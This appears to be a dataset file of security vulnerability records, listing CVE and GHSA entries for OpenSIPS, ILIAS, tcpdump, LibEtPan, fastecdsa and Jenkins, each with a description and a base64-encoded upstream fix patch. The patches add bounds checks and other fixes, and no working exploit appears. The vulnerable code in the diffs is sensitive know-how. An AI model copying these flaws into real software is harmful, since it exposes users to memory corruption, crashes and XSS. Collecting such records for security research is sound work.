[ { "commit_message": "[PATCH] parse_param_name(): Improve param parsing macros Issue discovered during OpenSIPS Security Audit 2021, by Alfred Farrugia & Sandro Gauci (Enable Security) https://github.com/OpenSIPS/opensips/security/advisories/GHSA-jrqg-vppj-hr2h parser/digest/param_parser.c | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-)", "patch_text_b64": "RnJvbSBkZDkxNDFiNmY2N2Q3ZGY0MDcyZjM0MzBmNjI4ZDRiNzNkZjVlMTAyIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBMaXZpdSBDaGlyY3UgPGxpdml1QG9wZW5zaXBzLm9yZz4KRGF0ZTogV2VkLCAyNyBPY3QgMjAyMSAxNDoxNjo0OCArMDMwMApTdWJqZWN0OiBbUEFUQ0hdIHBhcnNlX3BhcmFtX25hbWUoKTogSW1wcm92ZSBwYXJhbSBwYXJzaW5nIG1hY3JvcwoKSXNzdWUgZGlzY292ZXJlZCBkdXJpbmcgT3BlblNJUFMgU2VjdXJpdHkgQXVkaXQgMjAyMSwKICAgIGJ5IEFsZnJlZCBGYXJydWdpYSAmIFNhbmRybyBHYXVjaSAoRW5hYmxlIFNlY3VyaXR5KQoKaHR0cHM6Ly9naXRodWIuY29tL09wZW5TSVBTL29wZW5zaXBzL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1qcnFnLXZwcGotaHIyaAotLS0KIHBhcnNlci9kaWdlc3QvcGFyYW1fcGFyc2VyLmMgfCAyMSArKysrKysrKysrKystLS0tLS0tLS0KIDEgZmlsZSBjaGFuZ2VkLCAxMiBpbnNlcnRpb25zKCspLCA5IGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL3BhcnNlci9kaWdlc3QvcGFyYW1fcGFyc2VyLmMgYi9wYXJzZXIvZGlnZXN0L3BhcmFtX3BhcnNlci5jCmluZGV4IDViNmFiMjllYmE2Li5jYjkxM2Y2ZWFhMyAxMDA2NDQKLS0tIGEvcGFyc2VyL2RpZ2VzdC9wYXJhbV9wYXJzZXIuYworKysgYi9wYXJzZXIvZGlnZXN0L3BhcmFtX3BhcnNlci5jCkBAIC03Miw2ICs3Miw3IEBACiAjZGVmaW5lIFJFQUQodmFsKSBcCiAoKih2YWwgKyAwKSArICgqKHZhbCArIDEpIDw8IDgpICsgKCoodmFsICsgMikgPDwgMTYpICsgKCoodmFsICsgMykgPDwgMjQpKQogCisjZGVmaW5lIE5FRUQoYnl0ZXMpIGRvIHsgaWYgKGVuZCAtIHAgPCAoYnl0ZXMpKSBnb3RvIG90aGVyOyB9IHdoaWxlICgwKQogCiAjZGVmaW5lIG5hbWVfQ0FTRSAgICAgICAgICAgICAgICAgICAgICBcCiAgICAgICAgIHN3aXRjaChMT1dFUl9EV09SRCh2YWwpKSB7ICAgICBcCkBAIC04MywyOCArODQsMzAgQEAKIAogCiAjZGVmaW5lIHVzZXJfQ0FTRSAgICAgICAgIFwKLSAgICAgICAgcCArPSA0OyAgICAgICAgICAgXAorICAgICAgICBwICs9IDQ7IE5FRUQoNCk7ICBcCiAgICAgICAgIHZhbCA9IFJFQUQocCk7ICAgIFwKICAgICAgICAgbmFtZV9DQVNFOyAgICAgICAgXAogICAgICAgICBnb3RvIG90aGVyOwogCiAKICNkZWZpbmUgcmVhbF9DQVNFICAgICAgICAgICAgICAgICAgICAgICAgIFwKLSAgICAgICAgcCArPSA0OyAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKKyAgICAgICAgcCArPSA0OyBORUVEKDEpOyAgICAgICAgICAgICAgICAgIFwKICAgICAgICAgaWYgKExPV0VSX0JZVEUoKnApID09ICdtJykgeyAgICAgIFwKIAkJKl90eXBlID0gUEFSX1JFQUxNOyAgICAgICBcCiAgICAgICAgICAgICAgICAgcCsrOyAgICAgICAgICAgICAgICAgICAgICBcCiAJCWdvdG8gZW5kOyAgICAgICAgICAgICAgICAgXAotCX0KKwl9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICBnb3RvIG90aGVyOwogCiAKICNkZWZpbmUgbm9uY19DQVNFICAgICAgICAgICAgICAgICAgICAgICAgIFwKLSAgICAgICAgcCArPSA0OyAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKKyAgICAgICAgcCArPSA0OyBORUVEKDEpOyAgICAgICAgICAgICAgICAgIFwKICAgICAgICAgaWYgKExPV0VSX0JZVEUoKnApID09ICdlJykgeyAgICAgIFwKIAkgICAgICAgICpfdHlwZSA9IFBBUl9OT05DRTsgICAgICAgXAogICAgICAgICAgICAgICAgIHArKzsgICAgICAgICAgICAgICAgICAgICAgXAogCQlnb3RvIGVuZDsgICAgICAgICAgICAgICAgIFwKLQl9CisJfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKKyAgICAgICAgZ290byBvdGhlcjsKIAogCiAjZGVmaW5lIG9uc2VfQ0FTRSAgICAgICAgICAgICAgICAgICAgICBcCkBAIC0xMTcsMTQgKzEyMCwxNCBAQAogCiAKICNkZWZpbmUgcmVzcF9DQVNFICAgICAgICAgXAotICAgICAgICBwICs9IDQ7ICAgICAgICAgICBcCisgICAgICAgIHAgKz0gNDsgTkVFRCg0KTsgIFwKICAgICAgICAgdmFsID0gUkVBRChwKTsgICAgXAogICAgICAgICBvbnNlX0NBU0U7ICAgICAgICBcCiAgICAgICAgIGdvdG8gb3RoZXI7CiAKIAogI2RlZmluZSBjbm9uX0NBU0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCi0gICAgICAgIHAgKz0gNDsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKKyAgICAgICAgcCArPSA0OyBORUVEKDIpOyAgICAgICAgICAgICAgICAgICAgICAgICAgXAogICAgICAgICBpZiAoTE9XRVJfQllURSgqcCkgPT0gJ2MnKSB7ICAgICAgICAgICAgICBcCiAJCXArKzsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAJCWlmIChMT1dFUl9CWVRFKCpwKSA9PSAnZScpIHsgICAgICBcCkBAIC0xMzcsNyArMTQwLDcgQEAKIAogCiAjZGVmaW5lIG9wYXFfQ0FTRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKLSAgICAgICAgcCArPSA0OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICBwICs9IDQ7IE5FRUQoMik7ICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAgICAgICAgIGlmIChMT1dFUl9CWVRFKCpwKSA9PSAndScpIHsgICAgICAgICAgICAgIFwKIAkJcCsrOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKIAkJaWYgKExPV0VSX0JZVEUoKnApID09ICdlJykgeyAgICAgIFwKQEAgLTE2Myw3ICsxNjYsNyBAQAogCiAKICNkZWZpbmUgYWxnb19DQVNFICAgICAgICAgXAotICAgICAgICBwICs9IDQ7ICAgICAgICAgICBcCisgICAgICAgIHAgKz0gNDsgTkVFRCg1KTsgIFwKICAgICAgICAgdmFsID0gUkVBRChwKTsgICAgXAogICAgICAgICByaXRoX0NBU0U7ICAgICAgICBcCiAgICAgICAgIGdvdG8gb3RoZXI=", "url": "https://github.com/OpenSIPS/opensips/commit/dd9141b6f67d7df4072f3430f628d4b73df5e102.patch" } ]
CWE-20: Improper Input Validation
CVE-2018-10307
error.php in ILIAS 5.2.x through 5.3.x before 5.3.4 allows XSS via the text of a PDO exception.
[ { "commit_message": "[PATCH] Error Handling: PDO exception handling (cherry picked from commit 65da344) error.php | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSBjYTk4MmU1OWQwYjc2YzAzNzRjOWE3ZmQxYWNmMjY4NWNhNTdjZjQxIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBtamFuc2VuIDxtamFuc2VuQGRhdGFiYXkuZGU+CkRhdGU6IFdlZCwgMTEgQXByIDIwMTggMTk6Mzg6MzIgKzAyMDAKU3ViamVjdDogW1BBVENIXSBFcnJvciBIYW5kbGluZzogUERPIGV4Y2VwdGlvbiBoYW5kbGluZwoKKGNoZXJyeSBwaWNrZWQgZnJvbSBjb21taXQgNjVkYTM0NCkKLS0tCiBlcnJvci5waHAgfCA0ICsrKy0KIDEgZmlsZSBjaGFuZ2VkLCAzIGluc2VydGlvbnMoKyksIDEgZGVsZXRpb24oLSkKCmRpZmYgLS1naXQgYS9lcnJvci5waHAgYi9lcnJvci5waHAKaW5kZXggYjdlY2NlN2ZhM2IyLi43YjU3ZDRmZTQxMGMgMTAwNzU1Ci0tLSBhL2Vycm9yLnBocAorKysgYi9lcnJvci5waHAKQEAgLTMyLDUgKzMyLDcgQEAKIAkJdGhyb3cgJGU7CiAJfQogCi0JZGllKCRlLT5nZXRNZXNzYWdlKCkpOworCWlmICghKCRlIGluc3RhbmNlb2YgXFBET0V4Y2VwdGlvbikpIHsKKwkJZGllKCRlLT5nZXRNZXNzYWdlKCkpOworCX0KIH0KXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBmaWxl", "url": "https://github.com/ILIAS-eLearning/ILIAS/commit/ca982e59d0b76c0374c9a7fd1acf2685ca57cf41.patch" } ]
n/a
CVE-2017-13002
The AODV parser in tcpdump before 4.9.2 has a buffer over-read in print-aodv.c:aodv_extension().
[ { "commit_message": "[PATCH] CVE-2017-13002/AODV: Add some missing bounds checks. In aodv_extension() do a bounds check on the extension header before we look at it. This fixes a buffer over-read discovered by Kamil Frankowicz. Add a test using the capture file supplied by the reporter(s). While we're at it, add the RFC number, and check the validity of the length for the Hello extension. print-aodv.c | 9 ++++++++- tests/TESTLIST | 1 + tests/hoobr_aodv_extension.out | 2 ++ tests/hoobr_aodv_extension.pcap | Bin 0 -> 122 bytes 4 files changed, 11 insertions(+), 1 deletion(-) create mode 100644 tests/hoobr_aodv_extension.out create mode 100644 tests/hoobr_aodv_extension.pcap", "patch_text_b64": "RnJvbSBjYmRkYjk4NDg0ZWE4ZWMxZGVlY2UzNTFhYmQ1NmUwNjNkNzc1YjM4IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBHdXkgSGFycmlzIDxndXlAYWx1bS5taXQuZWR1PgpEYXRlOiBTdW4sIDE5IEZlYiAyMDE3IDE0OjE5OjMyIC0wODAwClN1YmplY3Q6IFtQQVRDSF0gQ1ZFLTIwMTctMTMwMDIvQU9EVjogQWRkIHNvbWUgbWlzc2luZyBib3VuZHMgY2hlY2tzLgoKSW4gYW9kdl9leHRlbnNpb24oKSBkbyBhIGJvdW5kcyBjaGVjayBvbiB0aGUgZXh0ZW5zaW9uIGhlYWRlciBiZWZvcmUgd2UKbG9vayBhdCBpdC4KClRoaXMgZml4ZXMgYSBidWZmZXIgb3Zlci1yZWFkIGRpc2NvdmVyZWQgYnkgS2FtaWwgRnJhbmtvd2ljei4KCkFkZCBhIHRlc3QgdXNpbmcgdGhlIGNhcHR1cmUgZmlsZSBzdXBwbGllZCBieSB0aGUgcmVwb3J0ZXIocykuCgpXaGlsZSB3ZSdyZSBhdCBpdCwgYWRkIHRoZSBSRkMgbnVtYmVyLCBhbmQgY2hlY2sgdGhlIHZhbGlkaXR5IG9mIHRoZQpsZW5ndGggZm9yIHRoZSBIZWxsbyBleHRlbnNpb24uCi0tLQogcHJpbnQtYW9kdi5jICAgICAgICAgICAgICAgICAgICB8ICAgOSArKysrKysrKy0KIHRlc3RzL1RFU1RMSVNUICAgICAgICAgICAgICAgICAgfCAgIDEgKwogdGVzdHMvaG9vYnJfYW9kdl9leHRlbnNpb24ub3V0ICB8ICAgMiArKwogdGVzdHMvaG9vYnJfYW9kdl9leHRlbnNpb24ucGNhcCB8IEJpbiAwIC0+IDEyMiBieXRlcwogNCBmaWxlcyBjaGFuZ2VkLCAxMSBpbnNlcnRpb25zKCspLCAxIGRlbGV0aW9uKC0pCiBjcmVhdGUgbW9kZSAxMDA2NDQgdGVzdHMvaG9vYnJfYW9kdl9leHRlbnNpb24ub3V0CiBjcmVhdGUgbW9kZSAxMDA2NDQgdGVzdHMvaG9vYnJfYW9kdl9leHRlbnNpb24ucGNhcAoKZGlmZiAtLWdpdCBhL3ByaW50LWFvZHYuYyBiL3ByaW50LWFvZHYuYwppbmRleCA2Y2QwYzllYTEuLmZlNzVkYjg2MyAxMDA2NDQKLS0tIGEvcHJpbnQtYW9kdi5jCisrKyBiL3ByaW50LWFvZHYuYwpAQCAtNDIsNyArNDIsOSBAQAogI2luY2x1ZGUgImFkZHJ0b25hbWUuaCIKICNpbmNsdWRlICJleHRyYWN0LmgiCiAKLQorLyoKKyAqIFJGQyAzNTYxCisgKi8KIHN0cnVjdCBhb2R2X3JyZXEgewogCXVpbnQ4X3QJCXJyZXFfdHlwZTsJLyogQU9EViBtZXNzYWdlIHR5cGUgKDEpICovCiAJdWludDhfdAkJcnJlcV9mbGFnczsJLyogdmFyaW91cyBmbGFncyAqLwpAQCAtMTc4LDEyICsxODAsMTcgQEAgYW9kdl9leHRlbnNpb24obmV0ZGlzc2VjdF9vcHRpb25zICpuZG8sCiB7CiAJY29uc3Qgc3RydWN0IGFvZHZfaGVsbG8gKmFoOwogCisJTkRfVENIRUNLKCplcCk7CiAJc3dpdGNoIChlcC0+dHlwZSkgewogCWNhc2UgQU9EVl9FWFRfSEVMTE86CiAJCWFoID0gKGNvbnN0IHN0cnVjdCBhb2R2X2hlbGxvICopKGNvbnN0IHZvaWQgKillcDsKIAkJTkRfVENIRUNLKCphaCk7CiAJCWlmIChsZW5ndGggPCBzaXplb2Yoc3RydWN0IGFvZHZfaGVsbG8pKQogCQkJZ290byB0cnVuYzsKKwkJaWYgKGVwLT5sZW5ndGggPCA0KSB7CisJCQlORF9QUklOVCgobmRvLCAiXG5cdGV4dCBIRUxMTyAtIGJhZCBsZW5ndGggJXUiLCBlcC0+bGVuZ3RoKSk7CisJCQlicmVhazsKKwkJfQogCQlORF9QUklOVCgobmRvLCAiXG5cdGV4dCBIRUxMTyAlbGQgbXMiLAogCQkgICAgKHVuc2lnbmVkIGxvbmcpRVhUUkFDVF8zMkJJVFMoJmFoLT5pbnRlcnZhbCkpKTsKIAkJYnJlYWs7CmRpZmYgLS1naXQgYS90ZXN0cy9URVNUTElTVCBiL3Rlc3RzL1RFU1RMSVNUCmluZGV4IDVkMTY0YTZiZi4uMzU4YjVjMjczIDEwMDY0NAotLS0gYS90ZXN0cy9URVNUTElTVAorKysgYi90ZXN0cy9URVNUTElTVApAQCAtNDU5LDYgKzQ1OSw3IEBAIGhvb2JyX2NoZGxjX3ByaW50CWhvb2JyX2NoZGxjX3ByaW50LnBjYXAJCWhvb2JyX2NoZGxjX3ByaW50Lm91dAogaG9vYnJfbG9va3VwX25zYXAJaG9vYnJfbG9va3VwX25zYXAucGNhcAkJaG9vYnJfbG9va3VwX25zYXAub3V0CiBob29icl9ydDZfcHJpbnQJCWhvb2JyX3J0Nl9wcmludC5wY2FwCQlob29icl9ydDZfcHJpbnQub3V0CiBob29icl9uZnNfcHJpbnRmaAlob29icl9uZnNfcHJpbnRmaC5wY2FwCQlob29icl9uZnNfcHJpbnRmaC5vdXQKK2hvb2JyX2FvZHZfZXh0ZW5zaW9uCWhvb2JyX2FvZHZfZXh0ZW5zaW9uLnBjYXAJaG9vYnJfYW9kdl9leHRlbnNpb24ub3V0CiAKICMgYmFkIHBhY2tldHMgZnJvbSBXaWxmcmllZCBLaXJzY2gKIHNsaXAtYmFkLWRpcmVjdGlvbglzbGlwLWJhZC1kaXJlY3Rpb24ucGNhcAkJc2xpcC1iYWQtZGlyZWN0aW9uLm91dAktdmUKZGlmZiAtLWdpdCBhL3Rlc3RzL2hvb2JyX2FvZHZfZXh0ZW5zaW9uLm91dCBiL3Rlc3RzL2hvb2JyX2FvZHZfZXh0ZW5zaW9uLm91dApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAuLjc5YzgxZjU2MQotLS0gL2Rldi9udWxsCisrKyBiL3Rlc3RzL2hvb2JyX2FvZHZfZXh0ZW5zaW9uLm91dApAQCAtMCwwICsxLDIgQEAKK0lQIDQ4LjQ4LjQ4LjQ4LjY1NCA+IDQ4LjQ4LjQ4LjQ4LjEyMzM2OiAgYW9kdiBycmVwIDEyMzA4ICBwcmVmaXggMTYgaG9wcyA0OAorCWRzdCA0OC40OC40OC40OCBkc2VxIDgwODQ2NDQzMiBzcmMgNDguNDguNDguNDggODA4NDY0NDMyIG1zIFt8aGVsbG9dCmRpZmYgLS1naXQgYS90ZXN0cy9ob29icl9hb2R2X2V4dGVuc2lvbi5wY2FwIGIvdGVzdHMvaG9vYnJfYW9kdl9leHRlbnNpb24ucGNhcApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLi5iMDJhYjA1MDdkODliNTFhMWFlNmVmZTIxZWE1NGI2ZjVkZTVjMDg5CkdJVCBiaW5hcnkgcGF0Y2gKbGl0ZXJhbCAxMjIKemNtY2F8YyspfkExe01ZYkQ2bkgtVXw/aWBhfTkha2UzJUBKPTNzQ0lHbDRSS0ZmanVJcmFsT3AyX2J9KzFwc2JSCkI3N19wZQoKbGl0ZXJhbCAwCkhjbVY/ZDAwMDAx", "url": "https://github.com/the-tcpdump-group/tcpdump/commit/cbddb98484ea8ec1deece351abd56e063d775b38.patch" } ]
n/a
CVE-2017-8825
A null dereference vulnerability has been found in the MIME handling component of LibEtPan before 1.8, as used in MailCore and MailCore 2. A crash can occur in low-level/imf/mailimf.c during a failed parse of a Cc header containing multiple e-mail addresses.
[ { "commit_message": "[PATCH] Fixed crash #274 src/low-level/imf/mailimf.c | 12 ++++++++++++ 1 file changed, 12 insertions(+)", "patch_text_b64": "RnJvbSAxZmU4ZmJjMDMyY2NkYTFkYjlhZjY2ZDkzMDE2YjQ5YzE2YzFmMjJkIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBWaWV0IEhvYSBEaW5oIDxkdmhAZmIuY29tPgpEYXRlOiBTdW4sIDcgTWF5IDIwMTcgMTU6NTg6NDEgLTA3MDAKU3ViamVjdDogW1BBVENIXSBGaXhlZCBjcmFzaCAjMjc0CgotLS0KIHNyYy9sb3ctbGV2ZWwvaW1mL21haWxpbWYuYyB8IDEyICsrKysrKysrKysrKwogMSBmaWxlIGNoYW5nZWQsIDEyIGluc2VydGlvbnMoKykKCmRpZmYgLS1naXQgYS9zcmMvbG93LWxldmVsL2ltZi9tYWlsaW1mLmMgYi9zcmMvbG93LWxldmVsL2ltZi9tYWlsaW1mLmMKaW5kZXggNDU1NGYxY2UuLmI1NTcwNzBkIDEwMDY0NAotLS0gYS9zcmMvbG93LWxldmVsL2ltZi9tYWlsaW1mLmMKKysrIGIvc3JjL2xvdy1sZXZlbC9pbWYvbWFpbGltZi5jCkBAIC0zMDgzLDYgKzMwODMsNyBAQCBzdGF0aWMgaW50IG1haWxpbWZfZ3JvdXBfcGFyc2UoY29uc3QgY2hhciAqIG1lc3NhZ2UsIHNpemVfdCBsZW5ndGgsCiAgIHN0cnVjdCBtYWlsaW1mX2dyb3VwICogZ3JvdXA7CiAgIGludCByOwogICBpbnQgcmVzOworICBjbGlzdCAqIGxpc3Q7CiAKICAgY3VyX3Rva2VuID0gKiBpbmR4OwogCkBAIC0zMTEwLDYgKzMxMTEsMTcgQEAgc3RhdGljIGludCBtYWlsaW1mX2dyb3VwX3BhcnNlKGNvbnN0IGNoYXIgKiBtZXNzYWdlLCBzaXplX3QgbGVuZ3RoLAogICAgICAgcmVzID0gcjsKICAgICAgIGdvdG8gZnJlZV9kaXNwbGF5X25hbWU7CiAgICAgfQorICAgIGxpc3QgPSBjbGlzdF9uZXcoKTsKKyAgICBpZiAobGlzdCA9PSBOVUxMKSB7CisgICAgICByZXMgPSBNQUlMSU1GX0VSUk9SX01FTU9SWTsKKyAgICAgIGdvdG8gZnJlZV9kaXNwbGF5X25hbWU7CisgICAgfQorICAgIG1haWxib3hfbGlzdCA9IG1haWxpbWZfbWFpbGJveF9saXN0X25ldyhsaXN0KTsKKyAgICBpZiAobWFpbGJveF9saXN0ID09IE5VTEwpIHsKKyAgICAgIHJlcyA9IE1BSUxJTUZfRVJST1JfTUVNT1JZOworICAgICAgY2xpc3RfZnJlZShsaXN0KTsKKyAgICAgIGdvdG8gZnJlZV9kaXNwbGF5X25hbWU7CisgICAgfQogICAgIGJyZWFrOwogICBkZWZhdWx0OgogICAgIHJlcyA9IHI7", "url": "https://github.com/dinhviethoa/libetpan/commit/1fe8fbc032ccda1db9af66d93016b49c16c1f22d.patch" } ]
n/a
CVE-2024-21502
Versions of the package fastecdsa before 2.3.2 are vulnerable to Use of Uninitialized Variable on the stack, via the curvemath_mul function in src/curveMath.c, due to being used and interpreted as user-defined type. Depending on the variable's actual value it could be arbitrary free(), arbitrary realloc(), null pointer dereference and other. Since the stack can be controlled by the attacker, the vulnerability could be used to corrupt allocator structure, leading to possible heap exploitation. The attacker could cause denial of service by exploiting this vulnerability.
[ { "commit_message": "[PATCH] fix memory corruption issue see https://gist.github.com/keltecc/49da037072276f21b005a8337c15db26 for details on the issue verified by running proof of concept against fix - > python poc.py 3.11.0 (main, Nov 24 2022, 13:13:19) [Clang 13.1.6 (clang-1316.0.21.2.5)] X: 0x0 Y: 0x0 (On curve <MyCurve>) <POINT AT INFINITY> pyproject.toml | 1 + src/curveMath.c | 1 + 2 files changed, 2 insertions(+)", "patch_text_b64": "RnJvbSA1N2ZjNTY4OWM5NWQ2NDlkYWI3ZWY2MGNjOTlhYzY0NTg5ZjAxZTM2IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBBbnRvbiBLdWVsdHogPGFudG9ua3VAemlsbG93Z3JvdXAuY29tPgpEYXRlOiBUaHUsIDIyIEZlYiAyMDI0IDExOjI2OjI4IC0wODAwClN1YmplY3Q6IFtQQVRDSF0gZml4IG1lbW9yeSBjb3JydXB0aW9uIGlzc3VlCgpzZWUgaHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20va2VsdGVjYy80OWRhMDM3MDcyMjc2ZjIxYjAwNWE4MzM3YzE1ZGIyNgpmb3IgZGV0YWlscyBvbiB0aGUgaXNzdWUKCnZlcmlmaWVkIGJ5IHJ1bm5pbmcgcHJvb2Ygb2YgY29uY2VwdCBhZ2FpbnN0IGZpeCAtCj4gcHl0aG9uIHBvYy5weQozLjExLjAgKG1haW4sIE5vdiAyNCAyMDIyLCAxMzoxMzoxOSkgW0NsYW5nIDEzLjEuNiAoY2xhbmctMTMxNi4wLjIxLjIuNSldClg6IDB4MApZOiAweDAKKE9uIGN1cnZlIDxNeUN1cnZlPikKPFBPSU5UIEFUIElORklOSVRZPgotLS0KIHB5cHJvamVjdC50b21sICB8IDEgKwogc3JjL2N1cnZlTWF0aC5jIHwgMSArCiAyIGZpbGVzIGNoYW5nZWQsIDIgaW5zZXJ0aW9ucygrKQoKZGlmZiAtLWdpdCBhL3B5cHJvamVjdC50b21sIGIvcHlwcm9qZWN0LnRvbWwKaW5kZXggZjY2NGJmZi4uMmE2YTM5MSAxMDA2NDQKLS0tIGEvcHlwcm9qZWN0LnRvbWwKKysrIGIvcHlwcm9qZWN0LnRvbWwKQEAgLTE5LDYgKzE5LDcgQEAgY2xhc3NpZmllcnMgPSBbCiAgICAgIlByb2dyYW1taW5nIExhbmd1YWdlIDo6IFB5dGhvbiA6OiAzLjkiLAogICAgICJQcm9ncmFtbWluZyBMYW5ndWFnZSA6OiBQeXRob24gOjogMy4xMCIsCiAgICAgIlByb2dyYW1taW5nIExhbmd1YWdlIDo6IFB5dGhvbiA6OiAzLjExIiwKKyAgICAiUHJvZ3JhbW1pbmcgTGFuZ3VhZ2UgOjogUHl0aG9uIDo6IDMuMTIiLAogICAgICJPcGVyYXRpbmcgU3lzdGVtIDo6IE1hY09TIDo6IE1hY09TIFgiLAogICAgICJPcGVyYXRpbmcgU3lzdGVtIDo6IFBPU0lYIDo6IExpbnV4IgogXQpkaWZmIC0tZ2l0IGEvc3JjL2N1cnZlTWF0aC5jIGIvc3JjL2N1cnZlTWF0aC5jCmluZGV4IDMzNjA4YTYuLjY1ZjRmZjIgMTAwNjQ0Ci0tLSBhL3NyYy9jdXJ2ZU1hdGguYworKysgYi9zcmMvY3VydmVNYXRoLmMKQEAgLTIxNSw2ICsyMTUsNyBAQCBzdGF0aWMgUHlPYmplY3QgKiBjdXJ2ZW1hdGhfbXVsKFB5T2JqZWN0ICpzZWxmLCBQeU9iamVjdCAqYXJncykgewogICAgIH0KIAogICAgIFBvaW50WlpfcCByZXN1bHQ7CisgICAgbXB6X2luaXRzKHJlc3VsdC54LCByZXN1bHQueSwgTlVMTCk7CiAgICAgbXB6X3Qgc2NhbGFyOwogICAgIG1wel9pbml0X3NldF9zdHIoc2NhbGFyLCBkLCAxMCk7CiAgICAgQ3VydmVaWl9wICogY3VydmUgPSBidWlsZEN1cnZlWlpfcChwLCBhLCBiLCBxLCBneCwgZ3ksIDEwKTs7", "url": "https://github.com/AntonKueltz/fastecdsa/commit/57fc5689c95d649dab7ef60cc99ac64589f01e36.patch" } ]
Use of Uninitialized Variable
GHSA-92pg-8g57-hqpx
Support bundles can include user session IDs in Jenkins Support Core Plugin
null
[ { "commit_message": "[PATCH] SECURITY-2150 .../java/com/cloudbees/jenkins/support/impl/AboutUser.java | 3 --- 1 file changed, 3 deletions(-)", "patch_text_b64": "RnJvbSA5YWY5ZWZhZTZlOWVkNDA4Y2E4OWZmOWI1ZjFiN2E3NGRhMGExMzFmIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBSYW1vbiBMZW9uIDxtYW51ZWxyYW1vbmxlb25qaW1lbmV6QGdtYWlsLmNvbT4KRGF0ZTogRnJpLCAxMiBGZWIgMjAyMSAxNjoxODoyNyArMDEwMApTdWJqZWN0OiBbUEFUQ0hdIFNFQ1VSSVRZLTIxNTAKCi0tLQogLi4uL2phdmEvY29tL2Nsb3VkYmVlcy9qZW5raW5zL3N1cHBvcnQvaW1wbC9BYm91dFVzZXIuamF2YSAgICAgfCAzIC0tLQogMSBmaWxlIGNoYW5nZWQsIDMgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvc3JjL21haW4vamF2YS9jb20vY2xvdWRiZWVzL2plbmtpbnMvc3VwcG9ydC9pbXBsL0Fib3V0VXNlci5qYXZhIGIvc3JjL21haW4vamF2YS9jb20vY2xvdWRiZWVzL2plbmtpbnMvc3VwcG9ydC9pbXBsL0Fib3V0VXNlci5qYXZhCmluZGV4IGQzMzQyZTA2OS4uN2NlYzUzMDYwIDEwMDY0NAotLS0gYS9zcmMvbWFpbi9qYXZhL2NvbS9jbG91ZGJlZXMvamVua2lucy9zdXBwb3J0L2ltcGwvQWJvdXRVc2VyLmphdmEKKysrIGIvc3JjL21haW4vamF2YS9jb20vY2xvdWRiZWVzL2plbmtpbnMvc3VwcG9ydC9pbXBsL0Fib3V0VXNlci5qYXZhCkBAIC01LDcgKzUsNiBAQAogaW1wb3J0IGNvbS5jbG91ZGJlZXMuamVua2lucy5zdXBwb3J0LmFwaS5Db250YWluZXI7CiBpbXBvcnQgY29tLmNsb3VkYmVlcy5qZW5raW5zLnN1cHBvcnQuYXBpLlByZWZpbHRlcmVkUHJpbnRlZENvbnRlbnQ7CiBpbXBvcnQgY29tLmNsb3VkYmVlcy5qZW5raW5zLnN1cHBvcnQuZmlsdGVyLkNvbnRlbnRGaWx0ZXI7Ci1pbXBvcnQgY29tLmNsb3VkYmVlcy5qZW5raW5zLnN1cHBvcnQudXRpbC5NYXJrZG93bjsKIGltcG9ydCBlZHUudW1kLmNzLmZpbmRidWdzLmFubm90YXRpb25zLk5vbk51bGw7CiBpbXBvcnQgaHVkc29uLkV4dGVuc2lvbjsKIGltcG9ydCBodWRzb24uc2VjdXJpdHkuUGVybWlzc2lvbjsKQEAgLTU5LDggKzU4LDYgQEAgcHJvdGVjdGVkIHZvaWQgcHJpbnRUbyhQcmludFdyaXRlciBvdXQsIENvbnRlbnRGaWx0ZXIgZmlsdGVyKSB0aHJvd3MgSU9FeGNlcHRpb24KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImAiLCAiJiM5NjsiKSArICJgIikpOwogICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAgICAgICAgIC8vIFRoZSByYXcgZGF0YSBoYXMgdGhlIHVzZXIgbmFtZS4gV2UgcHJpbnQgaXQgbGlrZSBjb2RlIHdyYXBwaW5nIGl0IHdpdGggYAotICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbigiICAqIFJhdzogYCIgKyBNYXJrZG93bi5lc2NhcGVCYWNrdGljayhDb250ZW50RmlsdGVyLmZpbHRlcihmaWx0ZXIsIGF1dGhlbnRpY2F0aW9uLnRvU3RyaW5nKCkpKSArICJgIik7CiAgICAgICAgICAgICAgICAgICAgIG91dC5wcmludGxuKCk7CiAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgfSk7", "url": "https://github.com/jenkinsci/support-core-plugin/commit/9af9efae6e9ed408ca89ff9b5f1b7a74da0a131f.patch" } ]
null
GHSA-jq2c-m8gg-mqcm
Apache Jena allows users with administrator access to create databases files outside the files area of the Fuseki server
null
